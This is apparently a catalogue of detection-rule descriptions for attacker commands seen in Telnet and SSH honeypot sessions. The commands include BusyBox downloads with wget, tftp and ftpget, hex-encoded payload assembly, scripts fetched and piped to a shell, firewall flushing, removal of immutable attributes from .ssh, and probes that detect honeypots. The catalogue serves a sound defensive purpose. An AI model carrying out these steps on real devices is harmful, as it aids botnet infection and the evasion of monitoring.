telnet — Invocation of /bin/busybox cat targeting an absolute, dot-prefixed file path (e.g., //.none, /tmp/.x, /etc/.flag). This pattern reflects reading of hidden filesystem artifacts commonly used as staging markers, execution flags, or temporary payload components during automated Telnet-based compromise activity.
telnet — Execution of /bin/busybox cat /proc/cpuinfo during an interactive Telnet session, indicating retrieval of CPU hardware information from the proc filesystem via the BusyBox cat applet.
telnet — Invocation of /bin/busybox cat /proc/mounts to enumerate currently mounted filesystems on a Linux system. This is commonly observed during automated post-compromise discovery where an actor inspects available mount points to identify writable locations, network filesystems, or temporary storage paths suitable for payload staging and execution.
telnet — Execution of /bin/busybox chmod with a numeric mode (e.g., 777) targeting one file or directory during an interactive Telnet session, indicating explicit permission modification via BusyBox.
telnet — Execution of /bin/busybox cp copying the BusyBox binary to a target file (e.g., /bin/busybox cp /bin/busybox lolsiiii) during an interactive Telnet session, indicating local binary replication within the filesystem.
telnet — Matches BusyBox echo -ne usage with hexadecimal escape sequences (\xNN) redirected via append (>>) into a hidden file (dot-prefixed filename). This pattern indicates inline binary payload construction directly from the shell, typically used in lightweight IoT malware and BusyBox-based botnets to reconstruct ELF stagers or small droppers without requiring external download utilities. The use of hex-escaped bytes combined with append redirection to a hidden file strongly suggests staged payload assembly.
telnet — Invocation of /bin/busybox echo -ne with hexadecimal escape sequences (e.g., \x58\x41...) to reconstruct raw bytes without appending a trailing newline. This pattern is commonly used during precise binary payload assembly where exact byte alignment is required. It indicates deliberate byte-level reconstruction rather than standard shell output.
telnet — Invocation of /bin/busybox echo -e with hexadecimal escape sequences (e.g., \x46\x46\x56...) to reconstruct raw bytes directly in the shell. This pattern is commonly used to rebuild binary payload fragments inline without transferring files in plain form. It differs from base64-encoded blobs and standard BusyBox command usage, indicating deliberate byte-level payload staging.
telnet — Invocation of /bin/busybox echo -e with hexadecimal escape sequences (e.g., \x50\x6f...) combined with output redirection (>) to write reconstructed raw bytes directly to a file path. This pattern indicates inline binary payload staging where decoded bytes are immediately written to disk, commonly used in automated droppers on embedded or IoT systems.
telnet — Invocation of /bin/busybox echo with output redirection to a filesystem path (e.g., /tmp/.b) without visible content. This pattern is commonly used to create or truncate a hidden file as a staging marker, execution flag, or placeholder during automated payload deployment on Linux-based systems.
telnet — Identifies Telnet session activity where the attacker uses BusyBox ftpget to download a remote file from an external FTP server to the local filesystem. This pattern is commonly observed in IoT botnet propagation chains where BusyBox is leveraged to retrieve staged payloads (e.g., shell scripts or binary droppers) from attacker-controlled infrastructure.
telnet — Invocation of /bin/busybox echo with hexadecimal escape sequences (e.g., \xNN) combined with output redirection to a filesystem path. This pattern indicates inline reconstruction of raw binary bytes followed by immediate write-to-disk activity. It is commonly observed in automated Telnet-based droppers where payload fragments are rebuilt directly on the target system without using base64 or external transfer mechanisms.
telnet — Invocation of /bin/busybox hostname with an argument (e.g., whomp) to modify the system hostname. This pattern indicates an attempt to change device identity at the operating system level. In automated Telnet-based compromise chains, hostname modification may be used for marking infected systems, campaign labeling, or post-compromise environment manipulation.
telnet — Execution of /bin/busybox NEXUS during an interactive Telnet session, indicating invocation of a BusyBox applet or embedded command named NEXUS.
telnet — Matches execution of the BusyBox binary invoking rm against a single absolute filesystem path, such as: /bin/busybox rm /dev/.none This pattern indicates deletion via BusyBox rather than the system’s native rm, which is commonly seen in embedded malware, botnets, IoT campaigns, and minimal shell environments where BusyBox is used as a multi-call binary. It captures cleanup, artifact removal, or staging-file deletion performed explicitly through /bin/busybox.
telnet — Execution of /bin/busybox rm -rf targeting multiple arguments (e.g., lolsiiii lolsiii) during an interactive Telnet session, indicating forced recursive deletion of one or more files or directories using BusyBox.
telnet — Invocation of /bin/busybox rm targeting a hidden or non-standard path within /proc (e.g., /proc/.none). This pattern reflects an attempt to remove or manipulate pseudo-filesystem artifacts, often used in automated scripts to clean up temporary markers or evade detection during staged payload execution.
telnet — Matches Telnet sessions where BusyBox tftp is used in get mode (-g) to retrieve a remote file (-r) from a specified host and write it to stdout (-l-). Writing to - (stdout) is commonly used for inline execution or piping into a shell, making this pattern characteristic of staged payload retrieval during IoT botnet deployment.
telnet — Invocation of /bin/busybox with a non-standard or random applet argument (e.g., rLbu7DYk, BOTNET, cult). This pattern indicates execution attempts using BusyBox with arbitrary identifiers, commonly observed in automated droppers and bot propagation scripts where randomly named payloads or staged binaries are executed via the BusyBox multi-call interface.
telnet — Execution of /bin/busybox wget, leveraging the BusyBox multi-call binary to download remote content. This pattern is commonly observed on embedded Linux systems and IoT devices where BusyBox provides lightweight networking utilities. Its use typically indicates payload retrieval or secondary stage download activity following initial shell access.
telnet — Shell command using cat to read /proc/self/cmdline (often written as self/cmdline in constrained environments). This retrieves the current process’s command-line arguments from the proc filesystem. It is commonly observed in automated scripts and malware attempting to inspect execution context, determine invocation parameters, or adapt behavior based on runtime conditions.
telnet — Telnet command input using cd to change the current working directory. This is commonly observed after shell access is obtained and may indicate directory enumeration, environment exploration, or preparation for file execution or modification.
telnet — Telnet command input config terminal, commonly used on network devices (e.g., Cisco-style CLI environments) to enter global configuration mode. This command indicates an attempt to transition from operational context into device configuration state, where system parameters, interfaces, and security settings can be modified.
telnet — Telnet command input: "enable".
telnet — Shell command iptables -F used to flush all rules from the active firewall chains. This action removes existing packet filtering rules, effectively disabling firewall enforcement until rules are restored. In compromised environments, it is commonly observed when an actor attempts to remove network restrictions, ensure unrestricted outbound access, or weaken host-based defenses.
telnet — Telnet command input linuxshell, typically observed on embedded devices, network appliances, or restricted CLI environments where it is used to break out of a vendor-specific interface and access the underlying Linux shell. Its use often indicates an attempt to gain lower-level system access beyond the standard management interface.
telnet — Telnet command input containing the literal string zyad5001. This pattern represents a hardcoded token or credential attempt observed in automated Telnet sessions. Such values are commonly embedded in bot propagation scripts as default passwords, authentication probes, or campaign identifiers.
telnet — Shell command ping used to send ICMP echo requests to a remote host. Within compromised shell sessions, this is commonly observed as a connectivity check to verify outbound network access, confirm reachability of a command-and-control endpoint, or test general network functionality before retrieving additional payloads.
telnet — Shell command rm -rf targeting a file or directory (e.g., rm -rf i). This invokes recursive, forced deletion without confirmation, allowing removal of files or entire directory trees. It is commonly observed during cleanup activity, artifact removal, or replacement of previously staged payloads after execution.
telnet — Telnet command input sh, commonly used to invoke the system shell (Bourne shell) on Unix or Unix-like systems. It may be issued to spawn a new shell instance, execute inline commands, or escape from a restricted CLI environment into a standard operating system shell. regex:
telnet — Telnet command input shell, typically used to invoke or drop into a system shell environment from within a restricted CLI or application context. Its presence may indicate an attempt to escape a limited interface and gain direct command-line access to the underlying operating system.
telnet — Telnet command input: "start".
telnet — Telnet command input su, used to switch user context within a Unix or Unix-like system. It is commonly issued to elevate privileges (e.g., switching to the root account) after initial access has been obtained, indicating an attempt to gain higher-level control over the system.
telnet — Telnet command input system, typically used to access system-level configuration or status contexts on network appliances, routers, and embedded devices. Its presence often indicates an attempt to navigate into deeper administrative or configuration modes following successful authentication.
telnet — Telnet command invoking wget to retrieve a file over HTTP from a remote host. This pattern is commonly observed during post-compromise activity where an actor attempts to download a payload, script, or binary from an external server for execution on the target system.
telnet — Identifies Telnet session activity where the attacker uses curl to retrieve a remote shell script over HTTP and outputs it directly to stdout using -o-, typically for immediate in-memory execution via piping to a shell (e.g., | sh) or command substitution. This pattern is commonly used in IoT botnet propagation chains and loader-based malware infections.
telnet — Matches Telnet sessions where echo -e is used with hexadecimal escape sequences (e.g., \x61\x75\x74\x68\x5F\x6F\x6B\x0A) to construct and output decoded byte strings. This technique is commonly used to reconstruct payload strings, generate markers, or write staged content using encoded byte values instead of plain text.
telnet — Redirection of command output to a relative-path file in the current working directory (e.g., >lolsiiii) during an interactive Telnet session, indicating file creation or overwrite without specifying an absolute path.
telnet — Matches execution of rm against an absolute filesystem path during a Telnet session, such as rm /tmp/.sh, rm /var/run/x, or deeper paths like rm /usr/local/bin/test.
telnet — Shell command rm -rf targeting one or more dot-prefixed relative paths (e.g., .ffaaxx, .d). This pattern indicates forced recursive removal of hidden artifacts within the current working directory and is commonly observed as cleanup activity following staged payload execution in automated Telnet-based compromise chains.
telnet — Shell invocation (sh) executing a file located in a writable directory (e.g., /tmp, /dev/shm, /var/run, /mnt) that is commonly used for payload staging. The executed filename is typically hidden (dot-prefixed) and previously created within the session. This pattern strongly indicates execution of a staged script or dropper component.
telnet — Shell output redirection using > to create or truncate a file in a writable directory (e.g., /mnt/.x, /tmp/.x, /dev/shm/.x). This pattern is commonly observed during payload staging, where a hidden file is initialized before being populated with downloaded or echoed content. It indicates filesystem write activity without invoking standard file creation utilities.
telnet — Identifies Telnet session activity where the attacker invokes sh to execute a previously downloaded shell script from the local filesystem. This commonly follows payload staging via wget, curl, tftp, or ftpget, and represents the execution phase of a botnet infection chain.
telnet — Matches Telnet sessions where wget is invoked with --no-check-certificate and -qO- to silently download remote content and write it to stdout. This pattern is strongly associated with fileless payload staging, where the fetched sh script is piped directly into a shell for immediate execution.
ssh — Execution of test -d /data/tpot && echo FOUND to verify the existence of the default T-Pot installation data directory and emit a marker string if present. This pattern reflects targeted detection of a T-Pot honeypot deployment prior to continued attacker activity.
ssh — Execution of ls -d /data/tpot /opt/tpot /etc/opencanaryd /opt/honeypy 2>/dev/null | wc -l to check for the presence of default T-Pot, OpenCanary, or Honeypy installation paths and return a numeric count of matches. The use of wc -l indicates the result is being programmatically evaluated, suggesting automated deception-environment detection prior to further attacker activity.
ssh — Execution of python3 -c 'from twisted.conch import ssh' 2>/dev/null && echo FOUND to invoke the system Python interpreter and attempt to import the twisted.conch.ssh module, conditionally printing a marker string if successful. This pattern reflects targeted detection of a Twisted Conch–based SSH honeypot (such as Cowrie or Kippo) by validating the presence of its underlying SSH framework in the environment prior to continued attacker interaction.
ssh — Execution of chattr -i against shell initialization files within $HOME (e.g., $HOME/.bashrc, $HOME/.zshrc) to remove the immutable attribute. The command suppresses errors (2>/dev/null) and forces a successful exit (|| true), indicating a deliberate attempt to silently restore write access to user-level shell configuration files in the current user’s home directory.
ssh — Execution of cd ~; chattr -ia .ssh; lockr -ia .ssh to navigate to the current user’s home directory and attempt removal of immutable and append-only attributes from the .ssh directory using chattr -ia, followed by a secondary attribute modification attempt via lockr -ia. This sequence targets filesystem attribute protections applied to the user’s SSH configuration directory.
ssh — Execution of lspci | grep VGA | cut -f5- -d ' ' to identify VGA-class PCI devices and extract the descriptive portion of the device string starting from the fifth whitespace-delimited field, typically used to obtain GPU model information.
ssh — Execution of /bin/./uname with the exact flag combination -s -v -n -r -m, requesting kernel name, kernel version, node name (hostname), kernel release, and machine architecture in a single invocation.